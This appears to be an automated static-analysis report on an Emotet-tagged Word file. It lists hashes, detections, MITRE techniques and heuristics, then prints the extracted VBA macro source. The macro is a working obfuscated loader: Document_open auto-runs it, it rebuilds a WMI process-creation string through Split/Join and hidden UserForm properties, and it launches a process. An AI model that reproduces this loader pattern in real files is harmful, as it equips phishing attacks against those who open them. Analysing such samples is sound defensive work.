Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 918c4de750f45bf1…

MALICIOUS

Office (OLE)

167.6 KB Created: 2020-07-22 19:40:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: d87956d2e232c886d651311cb8e09c80 SHA-1: 200b137cce7aa642f5d8063773e8adc754c8c0d8 SHA-256: 918c4de750f45bf110d850e4b64a174f67aeee896ce60cff7ddec0b720cd3b57
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1140 Deobfuscate or Obfuscate Malicious Code

The file is identified as malicious by ClamAV with the signature 'Doc.Malware.Emotet-9357132-1', strongly suggesting the Emotet family. Critical heuristics indicate a VBA UserForm hidden-property command stager and auto-execution via the Document_Open macro, which uses CreateObject. The VBA script confirms the presence of a Document_Open macro that appears to be designed to download and execute a second-stage payload, likely obfuscated within the script itself.

Heuristics 7

  • ClamAV: Doc.Malware.Emotet-9357132-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emotet-9357132-1
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10211 bytes
SHA-256: d6effffe5d5d316049ff5df56a9aec7cd52f70c5e608014d4d59e2505f28f491
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "giothdael"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
cheuchcalveobgiv
End Sub


Attribute VB_Name = "meozsaiggoubgoek"
Attribute VB_Base = "0{FD0F36E8-0CB3-42C6-92F0-CB9672E7FF4E}{8C0AB984-C3AC-4E15-9AE3-7C88844BBB79}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "waijdoahcod"
Function cheuchcalveobgiv()
hoosluz = Chr(meozsaiggoubgoek.Zoom + Int(5 * 3))
Dim c7ÓATOQe2Ëj As Integer
c7ÓATOQe2Ëj = 6
Do While c7ÓATOQe2Ëj < 6 + 2
c7ÓATOQe2Ëj = c7ÓATOQe2Ëj + 5: DoEvents
Loop
sooxwootpoich = "2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fqw2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fqin2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fqm2342772g3&*gs7712ffvs626fqgm2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fqt2342772g3&*gs7712ffvs626fq" + hoosluz + "2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fq:w2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fqin2342772g3&*gs7712ffvs626fq322342772g3&*gs7712ffvs626fq_2342772g3&*gs7712ffvs626fq" + meozsaiggoubgoek.thiofbiem + "2342772g3&*gs7712ffvs626fqr2342772g3&*gs7712ffvs626fqo2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fqc2342772g3&*gs7712ffvs626fqes2342772g3&*gs7712ffvs626fqs2342772g3&*gs7712ffvs626fq"
Dim t0Á7ÖVhC As String
t0Á7ÖVhC = Replace$("NrsGblssw", "NrsGbl", "jeSyf")
queomceatgok = lenkaitpeowmab(sooxwootpoich)
Dim aboKTWBmOV As Variant
Set ziedkauzsiah = CreateObject(queomceatgok)
Dim Li2ÚJ8âfUTJJ As Boolean
geedroicpoup = meozsaiggoubgoek.thaipquear.ControlTipText
Dim Wmuaj As String
Wmuaj = Replace$("LqdFaWZRoPXoybkSqY", "LqdFaWZRoP", "nIEI6Ý")
meovquionthiathdox = queomceatgok + hoosluz + meozsaiggoubgoek.niasbauwkaen.ControlTipText + geedroicpoup
Dim lgiLh7Ë As Object
quetbekmith = meovquionthiathdox + meozsaiggoubgoek.thiofbiem
Dim FZV4ÇKPQ As Integer
FZV4ÇKPQ = 4
Do While FZV4ÇKPQ < 4 + 5
FZV4ÇKPQ = FZV4ÇKPQ + 3: DoEvents
Loop
Set juufcuargeol = thoachpoemziothbez(quetbekmith)
Dim kRpYwyW As String
kRpYwyW = Replace$("f4åL5åJqZNvlk", "f4åL5åJ", "TFRkfTygd")
xve = Array _
("1234444123", ziedkauzsiah. _
Create(lioqudeoch, voskenchiemvim, juufcuargeol), "9938723")
Dim C0ÄjVh As Integer
C0ÄjVh = 9
Do While C0ÄjVh < 9 + 1
C0ÄjVh = C0ÄjVh + 1: DoEvents
Loop
End Function
Function lenkaitpeowmab(foenmodtuay)
jaizwitgiam = foenmodtuay
Dim QSuRcu As Currency
vaexdooctaevreed = Split(jaizwitgiam, "2342772g3&*gs7712ffvs626fq")
Dim J1Â8ÀXwEwAd As String
J1Â8ÀXwEwAd = Replace$("UBZIWrn7ÆJAPVmt", "UBZI", "hsvq")
piajpauth = csqw + Join(vaexdooctaevreed, eihnx)
Dim gBv As Object
lenkaitpeowmab = piajpauth
Dim lqsqsHrCH As Boolean
End Function
Function lioqudeoch()
sjiqw = meozsaiggoubgoek.yoinhaitvoahfud.Pages(10 / 10).ControlTipText
Dim ISXQDR As Integer
ISXQDR = 2
Do While ISXQDR < 2 + 7
ISXQDR = ISXQDR + 9: DoEvents
Loop
lioqudeoch = lenkaitpeowmab(sjiqw)
Dim kbqvO4Ä7Çr As Byte
End Function
Function thoachpoemziothbez(nouqupeerxeoh)
Set thoachpoemziothbez = CreateObject(nouqupeerxeoh)
Dim vPu As String
vPu = Replace$("BenqV1áigVwifwdQq", "BenqV1ái", "on5Â")
thoachpoemziothbez _
. _
showwindow = (yeusthouwheich + juacsoogteaw) + (zaupyoequgav + kuulfeazraoz)
Dim osWIUnikOk As String
osWIUnikOk = Replace$("cLwhWVLMDSQFh3ÔT7É", "cLwhWVLMDS", "AvYXNNS")
End Function


' Processing file: /opt/analyzer/scan_staging/340ee83e2d364be1994067899e118c54.bin
' ===============================================================================
' Module streams:
' Macros/VBA/giothdael - 1362 bytes
' Line #0:
' 	LineCont 0x0004 02 00 00 00
' 	FuncDefn (Sub giothdael())
' Line #1:
' 	ArgsCall Document_open 0x0000 
' Line #2:
' 	EndSub 
' Line #3:
' Macros/VBA/meozs
... (truncated)